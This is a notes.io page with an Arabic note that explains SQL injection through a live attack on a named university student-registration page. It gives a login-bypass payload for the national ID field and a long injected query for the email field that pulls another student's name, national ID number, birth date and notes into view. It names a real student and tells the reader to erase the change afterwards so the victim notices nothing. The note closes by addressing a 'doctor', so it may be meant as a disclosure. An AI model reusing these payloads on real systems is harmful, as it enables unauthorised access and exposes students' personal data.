Notes
Notes - notes.io |
معلومات عن الاختراق :
النوع ده اسمه SQL Injection
في النوع ده لما المستخدم بيدخل معلومة للموقع والموقع بيخزن المعلومات ديه في قاعدة بيانات (يعني في وصل بينهم) ممكن بدل ما دخل معلومة ادخل كود يغير في قاعدة البيانات ديه ويعرض اي حاجة انا عايزها لانه بيعتبريني الموقع وعندي صلاحية كاملة اني اعدل او اشيل اي شئ.
مثال :
الدخول علي موقع الكارت الذكي : http://mis.alexu.edu.eg/MIS/Registration/FOE/Ed_Stud_Data.aspx
اكتب في خانة الرقم القومي الكود ده : ' OR 1=1 --
الكود ده بيقولوه اخترلي اول حاجة تلاقيها وسجلني برقمه القومي وفي الحالة ديه حيكون الرقم القومي الخاص بالطالب محمد فتوح محمد شقير
المهم بعد ماتدخل اكتب في خانة البريد الالكتروني الكود ده :
' , STUDENT_NAME_EN = 'Name:' + (SELECT STUDENT_NAME FROM ( SELECT *, ROW_NUMBER() OVER (ORDER BY STUDENT_NAME) as row FROM ALEX_FOE_STUDENTS) a WHERE row=2) + ' Number:' + (SELECT ID_NUMBER FROM ( SELECT *, ROW_NUMBER() OVER (ORDER BY STUDENT_NAME) as row FROM ALEX_FOE_STUDENTS) a WHERE row=2)+ ' Birth:' +(SELECT DOB FROM ( SELECT *, ROW_NUMBER() OVER (ORDER BY STUDENT_NAME) as row FROM ALEX_FOE_STUDENTS) a WHERE row=2) +' Notes:'+ (SELECT NOTS FROM ( SELECT *, ROW_NUMBER() OVER (ORDER BY STUDENT_NAME) as row FROM ALEX_FOE_STUDENTS) a WHERE row=2) , STATUS='
وخد ال ' معاك , الكود ده بيقوله رتب الاسماء الخاصة بالجدول ALEX_FOE_STUDENTS
الي بيبقي فيه كل طلاب كلية هندسة واختر ثاني شخص او صف وحيكتب المعلومات بتاعته
في الصيغة ديه : Name:اسم الطالب NUMBER:رقم القومي للطالب Birth:ميلاده Notes:الملاحظات عليه
وفي طبعاً بيانات تانية اقدر اجيبها بس ده للاثبات فقط
بعد ماتحط الكود ده في خانة البريد الالكتروني دوس "اتعهد .." عشان تظهر كلمة حفظ وبعد كدا دوس حفظ واعمل Refresh للصفحة
Enter خلي بالك لما تعمل ريفريش مادوسش علي علامة السهم الي بيدور , دوس علي العنوان ودوس
بعد كدا حتلاقي في خانة الاسم بالعربي الكلام الي قلت عليه فوق
قبل ما تخرج شيل الكلام ده واعمل حفظ عشان الطالب ميلاحظش شئ
ده ملخص الدنيا لو في حاجة عايز تستفسر عنها انا تحت امرك يا دكتور
|
|
Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...
With notes.io;
- * You can take a note from anywhere and any device with internet connection.
- * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
- * You can quickly share your contents without website, blog and e-mail.
- * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
- * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.
Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.
Easy: Notes.io doesn’t require installation. Just write and share note!
Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )
Free: Notes.io works for 12 years and has been free since the day it was started.
You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;
Email: [email protected]
Twitter: http://twitter.com/notesio
Instagram: http://instagram.com/notes.io
Facebook: http://facebook.com/notesio
Regards;
Notes.io Team
